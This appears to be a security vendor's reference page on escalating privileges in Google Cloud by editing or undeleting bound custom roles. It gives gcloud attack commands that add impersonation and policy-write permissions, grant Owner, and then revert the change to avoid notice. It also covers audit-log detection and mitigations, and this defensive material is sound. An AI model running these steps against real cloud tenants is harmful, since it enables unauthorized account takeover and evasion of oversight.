1. Resources
  2. Identity Threats
  3. Google Cloud

Google Cloud Custom Role Modification

Also known as: iam.roles.update privilege escalation, GCP custom role expansion, Custom role undelete abuse

A principal with iam.roles.update adds permissions to a custom role that is already bound, raising its own access or planting a backdoor without any allow policy change.

Platform
Google Cloud
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
iam.roles.update on the project or organization that defines a custom role (Role Administrator or Organization Role Administrator), and a binding of that role to an identity the attacker controls.
What the attacker gains
Any permission that custom roles support, on every resource where the role is bound, with no change to any allow policy.
Threat groups
LAPSUS$Scattered SpiderStorm-0501Groups that MITRE ATT&CK records using T1098.003.

How it works

A Google Cloud role is a named list of permissions. Predefined roles are maintained by Google. Custom roles are defined by the customer in a project or an organization and are edited with the iam.roles.update permission. An allow policy binding refers to a role by name only, for example projects/example-project/roles/appOperator.

That indirection is the weakness. Authority can change in two places: the binding (who holds the role) and the role definition (what the role contains). Most monitoring and most access reviews watch the first. An attacker who can edit a custom role leaves every binding untouched and changes what the bindings mean:

  • Expansion under an existing binding. The attacker adds permissions to a custom role that is already bound to an identity it controls. The role name in the allow policy and the policy's etag stay the same. The new permissions take effect on every resource where the role is bound, including bindings on folders and the organization for an organization-level role.
  • Return after deletion. A deleted custom role cannot be used in new bindings, and existing bindings that reference it stay in the allow policies with no effect. The role can be undeleted within 7 days and is restored to its previous state. An attacker with iam.roles.undelete brings a retired role, and the dormant bindings with it, back to life.
  • Re-enabling a disabled role. A role whose launch stage is DISABLED has inactive bindings. Setting the stage back makes them active again.

This is a different mechanism from setIamPolicy privilege escalation: no account receives an additional role. The same role simply becomes more powerful. See basic, predefined and custom roles for the role types.

Prerequisites

  • An identity that holds iam.roles.update where the role is defined. Google's predefined roles for managing custom roles are Role Administrator (roles/iam.roleAdmin) on a project and Organization Role Administrator (roles/iam.organizationRoleAdmin) on an organization. Owner also carries the permission, and a custom role may include it.
  • A custom role that is bound to an identity the attacker controls, or to a group, service account or federated principal the attacker can act as. The attack only raises the access of identities that already hold the role.
  • Permissions that custom roles support. Project-level custom roles cannot include permissions that only work at the organization or folder level; gcloud returns INVALID_ARGUMENT for those. gcloud iam list-testable-permissions with the filter customRolesSupportLevel!=NOT_SUPPORTED lists what can be added for a resource.
  • For the undelete variant: iam.roles.undelete, and a role deleted fewer than 7 days ago.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find custom roles and where they are bound

# Custom roles defined in the project and in the organization, deleted ones included
gcloud iam roles list --project=example-project --show-deleted
gcloud iam roles list --organization=123456789012 --show-deleted

# Current definition of one role
gcloud iam roles describe appOperator --project=example-project

# Every binding of that role in the organization
gcloud asset search-all-iam-policies \
    --scope='organizations/123456789012' \
    --query='roles:projects/example-project/roles/appOperator'

The best target is a role the current identity already holds. The search also shows who else would gain the new permissions, which matters for staying unnoticed and for the blast radius.

2. Add permissions to the role

gcloud iam roles update appOperator --project=example-project \
    --add-permissions=iam.serviceAccountKeys.create,iam.serviceAccounts.getAccessToken

--add-permissions appends to the list. --permissions replaces the whole list, and --file applies a YAML role definition, which follows the read-modify-write pattern with the role's etag.

Permissions that turn the edit into full control:

Added permission What it opens
resourcemanager.projects.setIamPolicy Grant any role on the project
iam.serviceAccounts.getAccessToken Impersonate service accounts
iam.serviceAccountKeys.create Create a key for a service account
iam.roles.update Keep the ability to edit roles from a lower-privileged identity

For an organization-level role the command takes --organization instead of --project:

gcloud iam roles update orgAuditor --organization=123456789012 \
    --add-permissions=resourcemanager.projects.setIamPolicy

Rhino Security Labs publishes a script for this method, iam.roles.update.py, in the GCP-IAM-Privilege-Escalation repository.

3. Use the new permissions

The binding already exists, so the attacker only has to wait for the change to propagate and then act with the identity that holds the role, for example:

gcloud projects add-iam-policy-binding example-project \
    --member='user:alice@corp.example.com' \
    --role='roles/owner'

4. Bring back a deleted or disabled role

# Restore a role deleted in the last 7 days; its old bindings work again
gcloud iam roles undelete legacyAdmin --project=example-project

# Re-enable a disabled role
gcloud iam roles update legacyAdmin --project=example-project --stage=GA

5. Put the role back

After using the access, the attacker can remove the added permissions so that the role looks as it did:

gcloud iam roles update appOperator --project=example-project \
    --remove-permissions=iam.serviceAccountKeys.create,iam.serviceAccounts.getAccessToken

Impact

Every identity that holds the role gains the added permissions wherever the role is bound. With a policy-write or impersonation permission added, the attacker moves on to Owner on the project or to the access of a privileged service account. For an organization-level role bound on a folder or the organization, one edit changes access across all descendant projects.

The method also works as a backdoor. A harmless looking custom role bound to an attacker-controlled identity can be left in place and expanded later, on demand, for as long as the attacker keeps iam.roles.update. Because the allow policies never change, a review that compares policy snapshots finds nothing.

OPSEC and artifacts

  • No policy write. There is no SetIamPolicy event and no change to any allow policy or policy etag. Detection that keys on policy writes does not fire. What remains is one google.iam.admin.v1.UpdateRole entry in the Admin Activity log of the project or organization that defines the role. Admin Activity logging cannot be turned off.
  • Small, plausible edits. Adding one permission to a role that already has dozens reads like maintenance. The audit entry still lists the permissions that were added.
  • Editing in the defining project. For a role defined in one project the event is written there, not in the projects where the damage is done later. For an organization-level role it is written at the organization. Teams that watch only their own project's logs do not see it.
  • Reverting. Removing the permissions afterwards hides the change from a later snapshot of the role. It writes a second UpdateRole entry, and anything created while the permissions existed (keys, bindings, tokens) remains.
  • Undelete. Restoring a role writes google.iam.admin.v1.UndeleteRole. No binding event accompanies it, although access has changed.
  • Description-only edits look the same at first glance. Operators can mix a title or description change into the same call. The permission delta in the entry separates a cosmetic edit from an expansion.

Detection

The role lifecycle events are few and always logged, so the signal is cheap to collect. The custom role created or updated rules match them and raise the severity when the added permissions include policy-write or service account credential permissions.

log_id("cloudaudit.googleapis.com/activity")
protoPayload.serviceName="iam.googleapis.com"
(protoPayload.methodName="google.iam.admin.v1.UpdateRole" OR
 protoPayload.methodName="google.iam.admin.v1.DeleteRole" OR
 protoPayload.methodName="google.iam.admin.v1.UndeleteRole")

How to read the results:

  • Group by the full role name in protoPayload.resourceName (projects/PROJECT/roles/ID or organizations/ORG/roles/ID). Short role ids repeat across projects.
  • Read the added permissions in protoPayload.serviceData.permissionDelta.addedPermissions. Treat any setIamPolicy permission, iam.serviceAccounts.getAccessToken, getOpenIdToken, signBlob, signJwt, implicitDelegation, iam.serviceAccountKeys.create and iam.roles.update as an escalation until explained.
  • Check whether the caller in protoPayload.authenticationInfo.principalEmail holds the role it edited. A principal that expands its own role is the core pattern of this attack.
  • Follow an expansion forward: look for the first use of the added permission by a holder of the role, and for a second UpdateRole that removes it again shortly after.
  • Treat UndeleteRole and a stage change away from DISABLED as access changes, and list the bindings that reference the role.

Detection sources: UpdateRole, UndeleteRole and CreateRole.

Run the filter at the organization as well as in projects, so that organization-level roles are covered:

gcloud logging read \
    'protoPayload.serviceName="iam.googleapis.com" AND protoPayload.methodName="google.iam.admin.v1.UpdateRole"' \
    --organization=123456789012 --freshness=30d --format=json

Mitigation

  • Treat role administration as policy administration. iam.roles.update and iam.roles.undelete deserve the same handling as setIamPolicy. Keep Role Administrator and Organization Role Administrator to a few administrators and a controlled pipeline, and make sure no custom role contains iam.roles.update unless that is its purpose.
  • Do not let holders edit their own role. The identities that are bound to a custom role should not be able to change it. Define shared roles at the organization and keep role editing out of workload projects.
  • Review role changes against every binding. Before approving a change to a custom role, list where it is bound (gcloud asset search-all-iam-policies with a roles: query) and who gains the new permissions.
  • Prefer predefined roles for sensitive access. A predefined role cannot be edited by anyone in the organization. Where a custom role is needed, keep it narrow, in line with least privilege.
  • Clean up bindings when a role is retired. Remove the bindings before or right after deleting the role, so that an undelete restores nothing useful.
  • Manage roles as code. Keep role definitions in version control and compare the deployed permission lists with them on a schedule. A difference is either drift or an attack.
  • Alert on UpdateRole, DeleteRole and UndeleteRole at the organization level and in every project that defines custom roles.

Detection rules for this attack

Log events to collect

FAQ

Why is iam.roles.update a privilege escalation permission?

A custom role is referenced by name in allow policies. When the role's permission list changes, every existing binding of that role grants the new permissions. A principal that can update a role it already holds can add permissions such as iam.serviceAccountKeys.create or resourcemanager.projects.setIamPolicy to itself.

Does changing a custom role show up as an IAM policy change?

No. The allow policies that reference the role, and their etags, stay the same. The only record is the UpdateRole entry in the Admin Activity audit log of the project or organization that defines the role, which is why monitoring that looks only at SetIamPolicy misses it.

What happens to bindings when a custom role is deleted and undeleted?

Bindings that reference a deleted custom role stay in the allow policies but have no effect. The role can be undeleted within 7 days, and it comes back in its previous state, so those bindings grant access again without a new binding being written.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.